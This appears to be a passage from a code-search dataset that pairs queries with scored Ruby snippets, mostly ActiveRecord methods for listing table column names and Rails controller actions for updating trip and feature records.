@user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5093146", "text": "def config(action, *args); end", "title": "" } ]
c09a8a0b76b21528e6a293449589affe
Return the column names of the table
[ { "docid": "cdaf11b2edfd574a33c63d2e9419907b", "score": "0.85543567", "text": "def columns(table_name)\n @db.table_info(table_name).map { |info| info[\"name\"].to_sym }\n end", "title": "" } ]
[ { "docid": "739c8f999f2e26cbc79d39c0491a8639", "score": "0.8887456", "text": "def col_names\n table_builder.names\n end", "title": "" }, { "docid": "42f5b29f47ed6b049a0e74d8314c8284", "score": "0.8837578", "text": "def column_names\n @table.columns_in_order.collect { |c| c.name }\n end", "title": "" }, { "docid": "91a312eb14179474eb634ce13429e773", "score": "0.8784198", "text": "def column_names\n columns.map { |c| c.name }\n end", "title": "" }, { "docid": "360cddbbfed45536f5af1700d27239be", "score": "0.8731159", "text": "def column_names\n _columns.keys\n end", "title": "" }, { "docid": "481fa1d145443a9e08b5e293fb263cf8", "score": "0.86914986", "text": "def column_names\n columns.keys\n end", "title": "" }, { "docid": "5d36f548f2a983c2588eee2f5f942728", "score": "0.8544942", "text": "def columns(table_name)\n @db.table_info(table_name).map { |info| info['name'].to_sym }\n end", "title": "" }, { "docid": "03c89b64c5bbf529ad98df55fb70ab30", "score": "0.8503467", "text": "def columns\n @columns ||= exec('select column_name from '\\\n \"information_schema.columns where table_name='#{@table}';\")\n .values.flatten.map(&:to_sym)\n end", "title": "" }, { "docid": "3d8236681681afd053ac368bcdadaef1", "score": "0.8400932", "text": "def column_names\n return @column_names if defined? @column_names\n query = \"\n SELECT column_name\n FROM information_schema.columns\n WHERE table_schema='#{LimeExt.schema}' AND table_name='#{self.class.table_name(sid)}'\"\n result = Array ActiveRecord::Base.connection.execute(query)\n @column_names = result.map{|col|col[\"column_name\"]}\n end", "title": "" }, { "docid": "acb84fd015b4095e2a9233394ae43157", "score": "0.8383206", "text": "def column_names\n @column_names ||= @fields.map(&:to_s)\n end", "title": "" }, { "docid": "4d6911bbbdc8aaaf37d60690d392ba8e", "score": "0.8363139", "text": "def column_names\n # NOTE: We don't use #columns\n # here to avoid the .dup. Premature optimization but eh.\n (@columns || {}).keys\n end", "title": "" }, { "docid": "60faaef92baa99926ed17dee6e74886f", "score": "0.83225024", "text": "def column_names; end", "title": "" }, { "docid": "9e0fdce96df04f80ac9f3d32a02ccee7", "score": "0.8290234", "text": "def column_names\n @column_names ||= columns.map { |column| column.name }\n end", "title": "" }, { "docid": "9e0fdce96df04f80ac9f3d32a02ccee7", "score": "0.8290234", "text": "def column_names\n @column_names ||= columns.map { |column| column.name }\n end", "title": "" }, { "docid": "4829ae21270a886c3077adcc32627c6e", "score": "0.8283424", "text": "def get_all_columns\n @table.descriptor.getColumnFamilies.map do |family|\n \"#{family.getNameAsString}:\"\n end\n end", "title": "" }, { "docid": "aceca3a755dd307f591e14d7f59f8756", "score": "0.8276024", "text": "def columns(table)\n stmt = @db.prepare(\"select * from #{table}\")\n return stmt.columns\n end", "title": "" }, { "docid": "363dbd4365c059e558541bb6f9b67bb7", "score": "0.8250436", "text": "def column_names\n @column_names ||= columns.map(&:name)\n end", "title": "" }, { "docid": "2d7a476ae544a8110f99c7c0abb53eb7", "score": "0.8233635", "text": "def column_names\n sanity_check\n return @cols unless @cols.nil?\n @cols = @handle.column_info.collect {|col| col['name'] }\n end", "title": "" }, { "docid": "4bf0a4ceb59ab31c6e37af4964590c23", "score": "0.8232074", "text": "def column_names\n attributes.keys\n end", "title": "" }, { "docid": "dbc419f1b5773c22f7959ce5869a8719", "score": "0.8194527", "text": "def column_names\n klass.fields.keys\n end", "title": "" }, { "docid": "09551720879d533824e42f37ec0e6e91", "score": "0.81690806", "text": "def column_names\n klass.column_names\n end", "title": "" }, { "docid": "61df25b129f05c604313c7523a6aba30", "score": "0.81571704", "text": "def table_columns\n cols = model_columns.map(&:name)\n @columns.select { |c| c.is_a?(DataColumn) && cols.include?(c.name.to_s) }\n end", "title": "" }, { "docid": "104cd7bdb91a47e8650b50614d9db685", "score": "0.81389576", "text": "def columns(sql)\n return self.dbh.execute(sql).column_names\n end", "title": "" }, { "docid": "dd7eb33a4155b7ab945ddedf63452037", "score": "0.81256473", "text": "def column_names\n columns.map(&:name).sort_by(&:to_s)\n end", "title": "" }, { "docid": "222d8d0d28f7c2c4da52617a36330e2b", "score": "0.8100827", "text": "def columns\n sql = <<-SQL\n SELECT c.table_name, c.column_name, c.ordinal_position,\n c.is_nullable, c.data_type, c.character_maximum_length\n FROM information_schema.tables t\n INNER JOIN information_schema.columns c ON t.table_name = c.table_name\n WHERE t.table_schema = 'public' AND table_type = 'BASE TABLE'\n ORDER BY c.table_name, c.ordinal_position\n SQL\n\n @cols = QueryDb.connection.execute(sql)\n end", "title": "" }, { "docid": "db3f0b145842a3a5eb63d5c7b9f6cd5d", "score": "0.80668336", "text": "def get_col_names\n @names ||= @column_metadata.collect { |md| md.name }\n end", "title": "" }, { "docid": "640b6a6f592abf142c3dc82cb4f98af6", "score": "0.80144036", "text": "def table_columns\n @table_columns ||= ::ActiveRecord::Base.connection.columns(table_name)\n end", "title": "" }, { "docid": "1daac5aa73d784f721a5a71a8b43d69a", "score": "0.7994606", "text": "def column_names\n array = []\n self.attributes.each_key { |k| array << k.to_s }\n array\n end", "title": "" }, { "docid": "99a252551225b3084905af742dee62e2", "score": "0.7986386", "text": "def column_names\n klass.properties.map(&:name)\n end", "title": "" }, { "docid": "99a252551225b3084905af742dee62e2", "score": "0.7986386", "text": "def column_names\n klass.properties.map(&:name)\n end", "title": "" }, { "docid": "39215033d174773641549ed48bdea6e3", "score": "0.79813755", "text": "def columns(table_name) end", "title": "" }, { "docid": "dc517a1f80ea58022ef5fe2536b78c09", "score": "0.7979551", "text": "def columns(table_name); end", "title": "" }, { "docid": "dc517a1f80ea58022ef5fe2536b78c09", "score": "0.7979551", "text": "def columns(table_name); end", "title": "" }, { "docid": "504091474dce9cdc8ec1b1c5dd057e84", "score": "0.7977369", "text": "def columns\n @columns.keys\n end", "title": "" }, { "docid": "cb22c7413a168d9ae019ff22e7d495c3", "score": "0.79754096", "text": "def column_names\n klass.attributes.keys\n end", "title": "" }, { "docid": "15aceab1131bb298c1714140ce70e86a", "score": "0.79665244", "text": "def columns\n schema.fields.map(&:name)\n end", "title": "" }, { "docid": "9abfd8d41d5121458d229f42d9951366", "score": "0.79592305", "text": "def column_names\n klass.attributes.keys\n end", "title": "" }, { "docid": "ecbdb99c7e94d9e815e123fbeefce9b2", "score": "0.7956571", "text": "def column_names\n klass.properties.keys\n end", "title": "" }, { "docid": "ecbdb99c7e94d9e815e123fbeefce9b2", "score": "0.7956571", "text": "def column_names\n klass.properties.keys\n end", "title": "" }, { "docid": "2fddaa6aa334132e5923a31a8f04179c", "score": "0.79473776", "text": "def get_columns_from_table(table_name)\r\n\t\t\t\tputs \"#{table_name} being processed.\"\r\n\t\t\t\tcolumns = []\r\n\t\t\t\tActiveRecord::Base.connection.columns(table_name).each { |c| columns.push(c.name) }\r\n\t\t\t\treturn columns\r\n\t\t\tend", "title": "" }, { "docid": "142e6abe3f11e7ed1af91e02714cdaff", "score": "0.7922768", "text": "def column_names\n @column_names ||= columns.map(&:name).freeze\n end", "title": "" }, { "docid": "43d2e159de3ac85aed73eccc9b34e01a", "score": "0.7918797", "text": "def column_names\n column_full_names.collect { |column_full_name| column_full_name.split(':', 2)[1] }\n end", "title": "" }, { "docid": "2bad567664c5f0f8d8f00678e8f92f3a", "score": "0.7915689", "text": "def column_names\n klass.properties\n end", "title": "" }, { "docid": "943cfd3e672b03000a6f63506a40479f", "score": "0.7910917", "text": "def columns\n schema.keys\n end", "title": "" }, { "docid": "8637e6fd73bbc3c6237efce86c6ebea5", "score": "0.78994477", "text": "def column_names(separator = \"\")\n columns.map{|column| column.name(separator)}\n end", "title": "" }, { "docid": "316132a752cacf46290b2d7da381f51a", "score": "0.78536", "text": "def column_names\n klass.attributes\n end", "title": "" }, { "docid": "cc27b011c9716d8e3cf3a2e8cb561286", "score": "0.78523165", "text": "def column_names(table_name, sort = false)\n Kernel.raise NotImplementedError\n end", "title": "" }, { "docid": "a2864799b6d01ea79cc1b937e5d580df", "score": "0.784663", "text": "def table_columns\n table_builder.columns\n end", "title": "" }, { "docid": "f25aedb6b7386f7ab5b085357b051bda", "score": "0.78344923", "text": "def columns\n @columns ||= connection.columns(table_name, \"#{name} Columns\")\n end", "title": "" }, { "docid": "8fb5c4072c949ee78cd57f705e720f80", "score": "0.77876395", "text": "def column_names\n @column_names ||= @columns.keys.sort_by { |k| columns[k][:position] }\n end", "title": "" }, { "docid": "3ef9a84613c001c7270f1292eb6c694d", "score": "0.7778616", "text": "def column_names\n klass._decl_props.keys\n end", "title": "" }, { "docid": "5d863c3e2351c0a3f0e8eff513fab5a7", "score": "0.77622885", "text": "def column_names\n contract_column_names +\n pick_up_order_column_names +\n commodity_column_names\n end", "title": "" }, { "docid": "84475147dab699089dda2b48215ffe6f", "score": "0.77550876", "text": "def columns\r\n @df.keys\r\n end", "title": "" }, { "docid": "e6f8daae19b56b67ce6a50f8500a4c9e", "score": "0.7726997", "text": "def get_column_names\n return self.attributes.map{|k,v| k}\n end", "title": "" }, { "docid": "14c48548ad35f3cb7ea12cd3a9d8f383", "score": "0.7725787", "text": "def column_names\n names = []\n model.column_names.each do |col_name|\n # for paperclip attachments, add base name\n if col_name.match(/(.*)_file_name$/) \n names << $1 \n end\n names << col_name\n end\n return names\n end", "title": "" }, { "docid": "1f2dd63d24d6f2268643fab1f4cb3454", "score": "0.77134454", "text": "def columns( database, table )\n if has_table?( database, table )\n return @database[database][table].keys\n end\n\n return Array.new\n end", "title": "" }, { "docid": "980c1221c3139a4fa22d0c1919d1ed51", "score": "0.76518047", "text": "def get_columns(table_name)\n\t\t\tcolumns_arr = []\n\t\t pst = @db.prepare \"SELECT * FROM #{table_name} LIMIT 6\"\n\t\t pst.columns.each do |c|\n\t\t \tcolumns_arr.push(c)\n\t\t end\n\t\t columns_arr\n\t\tend", "title": "" }, { "docid": "8b830b1d24e8b6047772193d3e646227", "score": "0.76382995", "text": "def columns\n @stmt.columns\n end", "title": "" }, { "docid": "8b830b1d24e8b6047772193d3e646227", "score": "0.76382995", "text": "def columns\n @stmt.columns\n end", "title": "" }, { "docid": "07d8dec4236b1ed8ff1581247e57435b", "score": "0.76330554", "text": "def get_column_names db, table\n columns, *rows = db.execute2(\" select * from #{table} limit 1; \")\n return columns\nend", "title": "" }, { "docid": "ae3cbe8d539aa932fa7ef639c4b1a0d4", "score": "0.763249", "text": "def column_names\n @column_names || owner.column_names\n end", "title": "" }, { "docid": "b2ec636ab65c63dd9fcf360f104143a0", "score": "0.7624412", "text": "def mti_column_names\n @mti_column_names ||= mti_columns.map { |column| column.name }\n end", "title": "" }, { "docid": "6575af7f8ccd5ef974fe7d023bf3de7a", "score": "0.76194227", "text": "def column_names\n EducationRpo::COLUMN_NAMES\n end", "title": "" }, { "docid": "9c3a595c780d89e1097729213d870f97", "score": "0.7594749", "text": "def columns(table_name, name = nil) end", "title": "" }, { "docid": "9c3a595c780d89e1097729213d870f97", "score": "0.7594749", "text": "def columns(table_name, name = nil) end", "title": "" }, { "docid": "8d803d170c3c0f01f7070ff7ec40c36b", "score": "0.7590269", "text": "def column_names\n\t\t\t\t\tklass.props.keys\n\t\t\t\tend", "title": "" }, { "docid": "1ec191f436a7c44855034579db4d99fa", "score": "0.75793284", "text": "def columns(table_name, name = nil)\n @connection.columns_internal(table_name.to_s, nil, oracle_schema)\n end", "title": "" }, { "docid": "a79bd0af726bf76fae22b312ac2887c5", "score": "0.7566787", "text": "def sunspot_column_names\n\t\t\tsunspot_columns.collect(&:name)\n\t\tend", "title": "" }, { "docid": "47385f42e2a5c41e9395d4225aedfe57", "score": "0.7561324", "text": "def columns\n if @column_names\n @column_names.collect{|cn| owner.columns_hash[cn]}\n else\n owner.columns\n end\n end", "title": "" }, { "docid": "fa5c4a77c4854676ad66b771a1d10556", "score": "0.75601256", "text": "def names\n @schema.collect do |col| col[:name] end\n end", "title": "" }, { "docid": "fa5c4a77c4854676ad66b771a1d10556", "score": "0.75601256", "text": "def names\n @schema.collect do |col| col[:name] end\n end", "title": "" }, { "docid": "5e34946f8ae91309e9dabc948345db24", "score": "0.75566274", "text": "def real_field_names\n table_exists? ? column_names : []\n end", "title": "" }, { "docid": "044b2681351644ef40b0ed8debb48fdb", "score": "0.7548251", "text": "def columns(table_name, name = nil)\n sql = \"SHOW FIELDS FROM #{quote_table_name(table_name)}\"\n columns = []\n result = execute(sql, 'SCHEMA')\n result.each(:symbolize_keys => true, :as => :hash) { |field|\n columns << Mysql2Column.new(field[:Field], field[:Default], field[:Type], field[:Null] == \"YES\")\n }\n columns\n end", "title": "" }, { "docid": "2df24b7454dab208712a22ea710158a6", "score": "0.7545015", "text": "def columns_for_table\n [\"name\",\"shortname\",\"active\"]\n end", "title": "" }, { "docid": "f3efcf8d37823338d6495313017eff58", "score": "0.7539675", "text": "def column_definitions(table_name)\n log('JDBC: GETCOLUMNS', 'SCHEMA') { @connection.columns(table_name) }\n rescue => e\n # raise translate_exception_class(e, nil)\n # FIXME: this breaks one arjdbc test but fixes activerecord tests\n # (table name alias). Also it behaves similarly to the CRuby adapter\n # which returns an empty array too. (postgres throws a exception)\n []\n end", "title": "" }, { "docid": "b79b985c1fffc055fbe4936fe3a08024", "score": "0.751483", "text": "def column_full_names\n attributes.keys.collect{ |key| \"#{@column_family_name}:#{key}\"}\n end", "title": "" }, { "docid": "d03826766feeb3217a409fab4806b46f", "score": "0.7499676", "text": "def datatables_columns\n columns = self.param_index_array(:columns)\n columns = columns.select { |col| col[:data] }\n columns.map do |col|\n { :name => (col[:name] || '-').to_s,\n :field => col[:data].to_s\n }\n end\n end", "title": "" }, { "docid": "80f7cb0a8c2199faa62f355dc2eaea2b", "score": "0.74872285", "text": "def column_names\n row.cell_names\n end", "title": "" }, { "docid": "b3544d4aa3378ce233bf61e64cc73e4a", "score": "0.7461641", "text": "def column_names\n\t\t\t\t\tklass._decl_props.keys\n\t\t\t\tend", "title": "" }, { "docid": "fcfa48ce4e49843c3c3d4d36f176d879", "score": "0.7448211", "text": "def read_col_names(table_name)\r\n begin\r\n con = Mysql.new(@url, @user, @password, @db_name)\r\n \r\n # stores results.\r\n col_names = []\r\n \r\n rs = con.query(\"SELECT * FROM \" + table_name)\r\n rs.fetch_fields.each_with_index do |info, i|\r\n col_names.push info.name\r\n end\r\n \r\n col_names\r\n rescue Mysql::Error => e\r\n self.print_error e\r\n ensure\r\n con.close if con\r\n end\r\n end", "title": "" }, { "docid": "3a127042b55f6f40e63deefd5d7a7260", "score": "0.7447173", "text": "def columns\n table_columns - exclude\n end", "title": "" }, { "docid": "7e84ab08e5eea31bda1c09ba369a63bf", "score": "0.7444301", "text": "def getcolumns(table_name)\n return nil unless @tables.has_key? table_name\n @tables[table_name].columns\n end", "title": "" }, { "docid": "7e84ab08e5eea31bda1c09ba369a63bf", "score": "0.7444301", "text": "def getcolumns(table_name)\n return nil unless @tables.has_key? table_name\n @tables[table_name].columns\n end", "title": "" }, { "docid": "77985769e44c4ad1b7130caef2d3e13d", "score": "0.7442196", "text": "def fields\n @table.keys\n end", "title": "" }, { "docid": "e4610be8882b21ddf092333786f9263d", "score": "0.7431027", "text": "def _all_flex_column_names\n _flex_column_classes.map(&:column_name)\n end", "title": "" }, { "docid": "db52febce9084ba6b07a1e9382e82e5c", "score": "0.742954", "text": "def columns\n defined_columns\n end", "title": "" }, { "docid": "a65b8f925349e9f8c25265fb49267b9f", "score": "0.7428687", "text": "def columns(table_name, name = nil)\n @connection.columns_internal(table_name.to_s, name, maxdb_schema)\n end", "title": "" }, { "docid": "3c504eebd8a617af8b7068765d708e90", "score": "0.74264175", "text": "def columns\r\n Backend.active.columns(@m) \r\n end", "title": "" }, { "docid": "a5a1f6367ef03f11ecc003f4fdc45605", "score": "0.74142975", "text": "def columns(table)\n dbh = DBI::DatabaseHandle.new(self)\n uniques = []\n dbh.execute(\"SHOW INDEX FROM #{table}\") do |sth|\n sth.each do |row|\n uniques << row[4] if row[1] == \"0\"\n end\n end\n\n ret = nil\n dbh.execute(\"SHOW FIELDS FROM #{table}\") do |sth|\n ret = sth.collect do |row|\n name, type, nullable, key, default, extra = row\n #type = row[1]\n #size = type[type.index('(')+1..type.index(')')-1]\n #size = 0\n #type = type[0..type.index('(')-1]\n\n sqltype, type, size, decimal = mysql_type_info(row[1])\n col = Hash.new\n col['name'] = name\n col['sql_type'] = sqltype\n col['type_name'] = type\n col['nullable'] = nullable == \"YES\"\n col['indexed'] = key != \"\"\n col['primary'] = key == \"PRI\"\n col['unique'] = uniques.index(name) != nil\n col['precision'] = size\n col['scale'] = decimal\n col['default'] = row[4]\n col\n end # collect\n end # execute\n\n ret\n end", "title": "" }, { "docid": "911d91b6e7b98acdf14123ce5bdfc14a", "score": "0.7410715", "text": "def get_columns_from_schema\n pragma_columns = connection.execute \"PRAGMA table_info(#{table_name});\"\n pragma_columns.map { |p| Schema::ColumnDefinition.from_pragma(p) }\n end", "title": "" }, { "docid": "606c1f9300c2a497894495c15cb52046", "score": "0.74068546", "text": "def columns(table)\n columns = get_column_definitions(table)\n columns.sort_by{|c| \n [\n fields_to_head.index(c.name) || 1e6,\n -(fields_to_tail.index(c.name) || 1e6),\n c.name\n ]\n }\n end", "title": "" }, { "docid": "699f2e2f146ff6b946f954656d767814", "score": "0.74050707", "text": "def columns(table_name)#:nodoc:\n sql = \"SHOW FULL FIELDS FROM #{quote_table_name(table_name)}\"\n execute_and_free(sql, 'SCHEMA') do |result|\n each_hash(result).map do |field|\n field_name = set_field_encoding(field[:Field])\n sql_type = field[:Type]\n type_metadata = fetch_type_metadata(sql_type, field[:Extra])\n new_column(field_name, field[:Default], type_metadata, field[:Null] == \"YES\", nil, field[:Collation])\n end\n end\n end", "title": "" }, { "docid": "fdb3f72a6ca07fdb1e806fa61c9b5ef8", "score": "0.7403198", "text": "def columns_with_definition_names\n columns.select(&:definition).map(&:name)\n end", "title": "" }, { "docid": "f6b0108db0d5e53a793514f28f344ee4", "score": "0.73953146", "text": "def columns(table_name)\n @columns[table_name] ||= connection.columns(table_name)\n end", "title": "" }, { "docid": "f6b0108db0d5e53a793514f28f344ee4", "score": "0.73953146", "text": "def columns(table_name)\n @columns[table_name] ||= connection.columns(table_name)\n end", "title": "" }, { "docid": "faa1d5c49bc6a335ef29e65b83720668", "score": "0.7381339", "text": "def columns\n @columns\n end", "title": "" }, { "docid": "a77c59986776385fdfd586ac06f63dd6", "score": "0.7378642", "text": "def columns(table_name, name = nil)#:nodoc:\n sql = \"SHOW FULL FIELDS FROM #{quote_table_name(table_name)}\"\n execute_and_free(sql, 'SCHEMA') do |result|\n each_hash(result).map do |field|\n new_column(field[:Field], field[:Default], field[:Type], field[:Null] == \"YES\", field[:Collation])\n end\n end\n end", "title": "" }, { "docid": "49ae7d60967c29b89371bbb65e0bee6d", "score": "0.73745525", "text": "def columns(table_name, message)\n log message\n @columns ||= ['name'].map do |name|\n Column.new(name)\n end\n end", "title": "" }, { "docid": "1aa77187cd4ba8bbec0f88f1d8860431", "score": "0.73623043", "text": "def enum_table_columns(table_name)\n table_schema_condition = ''\n if table_name.include?('.')\n database, table_name = table_name.split('.')\n table_schema_condition = \" and table_schema=#{database.include?('(') ? database : \"'\" + database + \"'\"}\"\n end\n dump_table_fields('information_schema.columns', %w[column_name],\n \"table_name='#{table_name}'#{table_schema_condition}\").flatten\n end", "title": "" }, { "docid": "350aa74094b7e3bc9431576c48a6a8d5", "score": "0.73527867", "text": "def hcsv_columns(db, table)\n sql = %{\n SELECT column_name\n FROM information_schema.columns\n WHERE table_name = '#{table}' AND udt_name != 'hstore'\n }.gsub(/\\s+/, ' ')\n psql(db, sql).split(\"\\n\")\n end", "title": "" } ]
1b045f6302aa078452b0b85895f0f388
PUT /trip_features/1 PUT /trip_features/1.json
[ { "docid": "fc6a055e62d69bea0ae87be52aa745d4", "score": "0.7450522", "text": "def update\n @trip_feature = TripFeature.find(params[:id])\n\n respond_to do |format|\n if @trip_feature.update_attributes(params[:trip_feature])\n format.html { redirect_to @trip_feature, notice: 'Trip feature was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "40e44d933d159f5d62579a1226f5f06d", "score": "0.68346107", "text": "def update\n create_update_feature(params)\n end", "title": "" }, { "docid": "9f4ac7aa843672060f2f927902a9be9d", "score": "0.67928445", "text": "def update(id, opts)\n\t\t\t\turl = \"api/v2/features/#{id}\"\n\t\t\t\tget_object(:put, \"feature\", url, {:feature => opts})\n\t\t\tend", "title": "" }, { "docid": "5908eb32d3967ff8629dc2435200a52a", "score": "0.6780082", "text": "def create\n @trip_feature = TripFeature.new(params[:trip_feature])\n\n respond_to do |format|\n if @trip_feature.save\n format.html { redirect_to @trip_feature, notice: 'Trip feature was successfully created.' }\n format.json { render json: @trip_feature, status: :created, location: @trip_feature }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1fe31ee2503a7e7c7528c710c5261f0f", "score": "0.6468473", "text": "def update\n @feature = Feature.find(params[:id])\n\n respond_to do |format|\n logger.debug \"feature = #{@feature.name}, sprint #{@feature.sprint_id}, \"\n\n if @feature.update_attributes(params[:feature])\n @feature.update_tasks\n format.html { redirect_to(features_url) }\n format.xml { head :ok }\n format.json { head :ok }\n #format.html { redirect_to(@feature, :notice => 'Feature was successfully updated.') }\n #format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n format.json { render :json => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4221292ecd99c9589e7cd46cba7d8683", "score": "0.64485496", "text": "def create\n create_update_feature(params )\n end", "title": "" }, { "docid": "a8474b6a6859bc994945c2d306d521f0", "score": "0.6430575", "text": "def set_tfeature\n @tfeature = Tfeature.find(params[:id])\n end", "title": "" }, { "docid": "665f13dab5003aabc4c54c16dbf61749", "score": "0.6411832", "text": "def create_update_feature( params )\n features = params['features']\n feature_id = params['id']\n \n begin\n # ensure that the resources is valid and cached\n uri = features['uri']\n if CachedResource.exists(uri) == false\n solr = Catalog.factory_create(false)\n hit = solr.get_object(uri)\n raise \"Can't find URI\" if hit == nil \n CachedResource.add(uri)\n end\n \n # if primary is set to true, set all other features\n # except primary to false. There can be only one primary\n if features['primary'] == true\n sql = 'update tw_featured_objects set `primary` = 0'\n ActiveRecord::Base.connection.execute(sql) \n end\n \n if feature_id.nil? \n found = Typewright::TwFeaturedObject.where(\"uri = ?\", uri)\n if found && found.length > 0\n raise \"\\\"#{uri}\\\" already exists\"\n end\n feature = Typewright::TwFeaturedObject.new \n else\n feature = Typewright::TwFeaturedObject.find(feature_id)\n end\n feature.uri = uri\n feature.primary = (features['primary'] == \"true\")\n feature.disabled = (features['disabled'] == \"true\")\n feature.save!\n \n render( :partial => 'features', :locals => { :features => Typewright::TwFeaturedObject.all } ) \n \n rescue Exception => msg\n logger.error(\"**** ERROR: Can't add new TypeWright feature: \" + msg.message)\n flash = \"Server error when adding new TypeWright feature: #{msg.message}\"\n render( :text => flash, :status => :bad_request )\n end\n end", "title": "" }, { "docid": "5b1bb48e1dab9ab7afffeccfd238a58e", "score": "0.6406293", "text": "def update\n if @trip.update(trip_params)\n render json: @trip\n else \n render json: @trip.errors\n end\n end", "title": "" }, { "docid": "ad2fe1f03ed08efe586c231c72c60023", "score": "0.6338911", "text": "def update\n feature = Feature.find(params[:id])\n\n feature.name = params[:name]\n feature.description = params[:description]\n feature.account_slugs = params[:account_slugs]\n feature.enabled_for_all = params[:enabled_for_all]\n\n feature.save!\n\n respond_to do |format|\n format.json {\n render json: {\n feature: feature\n }\n }\n end\n end", "title": "" }, { "docid": "ace544e760996192072da81787dd771c", "score": "0.633597", "text": "def update\n respond_to do |format|\n format.any(:trips_json, :json) do\n if @trip.update(trip_params)\n head :no_content\n else\n render json: @trip.errors, status: :unprocessable_entity\n end\n end\n end\n end", "title": "" }, { "docid": "ed306c936ad2043230edd933c2a72f6f", "score": "0.6242154", "text": "def update\n feature.update_attributes(feature_params)\n\n respond_with(feature)\n end", "title": "" }, { "docid": "78911efaa99596db0a1793f99353af0e", "score": "0.6241337", "text": "def update\n @newfeature = Newfeature.find(params[:id])\n\n respond_to do |format|\n if @newfeature.update_attributes(params[:newfeature])\n format.html { redirect_to @newfeature, notice: 'Newfeature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newfeature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74b77b9670da9fd2f5376280f265a502", "score": "0.62322915", "text": "def update\n render json: @feature.errors unless @feature.update(feature_params)\n end", "title": "" }, { "docid": "40237c78bc18e94f85b400a532ae5349", "score": "0.6214263", "text": "def update\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to @feature, notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40237c78bc18e94f85b400a532ae5349", "score": "0.6214263", "text": "def update\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to @feature, notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "334b49ad7420c5442c42cc4b8ef61de1", "score": "0.6183828", "text": "def update\n #@trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fdc380251f611de133c6cbcca753bcb1", "score": "0.61682475", "text": "def update\n @feature = @project.features.find(params[:id])\n\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n format.html { redirect_to(project_features_path(@project), :notice => 'Feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.6160998", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "becb730430a7cf761751aba0ec5f8fd9", "score": "0.61607456", "text": "def update\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n format.html { 